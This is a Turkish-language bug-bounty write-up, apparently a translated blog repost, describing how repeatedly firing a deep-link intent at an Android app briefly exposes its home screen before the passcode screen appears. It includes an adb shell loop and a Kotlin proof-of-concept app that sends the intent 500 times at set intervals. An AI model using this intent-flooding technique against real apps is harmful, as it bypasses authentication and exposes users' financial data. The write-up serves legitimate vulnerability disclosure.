Yarış Durumunu Kullanarak Şifre Etkinliğini Atlama


Bir Etkinlik bir uygulamadaki Android bileşenlerinden biridir. Kullanıcının mobil uygulamada gördüğü ekrandır. (Örneğin, ayarın “ekranı”, ana “ekranı” vb.). Basit bir uygulamada bir tane olabilirken, daha karmaşık olanlarda onlarca olabilir.

Güvenlik açısından bakıldığında normalde uygulama bileşenlerinin uygun olup olmadığını kontrol ederim. ihraç edildiyani diğer uygulamalar tarafından doğrudan çağrılabilirlerse. Bazen dışa aktarılan bu uygulamalar, geliştiricinin amaçlamadığı kısıtlamaları aşmak için kullanılabilir.

Android'de bileşen ele geçirmenin tehdit modeli

Bundan nasıl yararlanabildim

Bu spesifik hata ödül programında, uygulamanın derin bir bağlantıya izin verdiğini fark ettim, tartışma uğruna buna izin verelim com.android.appname:// uygulamanın ev etkinliğini otomatik olarak tetikledi. Ancak şifre kurulumuyla ana sayfaya erişim mümkün olmadı. Bir saldırganın uygulamanın ana sayfasına erişebilmesi, finansal işlemler yapmak da dahil olmak üzere hassas bilgilere erişebilmesi gibi, bu sayfaya erişimin de hassas olduğunu düşünüyorum.

Başlangıçta otomasyon araçlarını kullanarak “com.android.appname://login=1” gibi farklı parametreleri belirlemeye çalıştım ancak bu beni hiçbir yere götürmedi. Daha sonra bu niyeti birden çok kez hızlı bir şekilde göndermek gibi çılgınca bir düşünceye kapıldım ve bu, uygulamanın şifre ekranına girmeden önce kısa bir süre için ana ekranı gösterdiğini fark ettim.

Kavram Kanıtı

Daha sonra aşağıdaki basit kodu PoC olarak kullandım ve şifre ekranını atlamayı başardım.

while (true); do adb shell am start -a android.intent.action.VIEW -d "com.android.appname://"; sleep 0.15; done

Hiç şüphe yok ki, uygulama eylemi kaydetmeden önce (zamanlama etkisi nedeniyle) ara sıra birkaç dokunma girişimi gerekliydi, ancak işi yaptı!

Daha sonra sınırlı Kotlin becerilerimi kullanarak basit bir Android uygulaması oluşturmaya başladım (zorlandığımı ama çok şey öğrendiğimi itiraf ediyorum)

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        bigButton.setOnClickListener {
            Log.d("fast", "fast button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(100)
            }
        }


        button2.setOnClickListener {
            Log.d("medium", "Medium button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(150)
            }
        }


        button3.setOnClickListener {
            Log.d("slow", "Slow button pressed")
            val url = "com.android.appname://"
            for (n in 1..500) {
                startActivity(
                    Intent(
                        Intent.ACTION_VIEW, Uri.parse(url)
                    )
                )
                Thread.sleep(250)
            }
        }
    }
}

Hackerone incelemecisinin telefonunun benimkinden farklı davranması ihtimaline karşı uygulamada 3 düğme oluşturdum.

Son düşünceler

Bu ilginç bir keşifti çünkü zamanlama saldırısını kullanarak şifre etkinliklerini atlamayı hiç düşünmemiştim.



Source link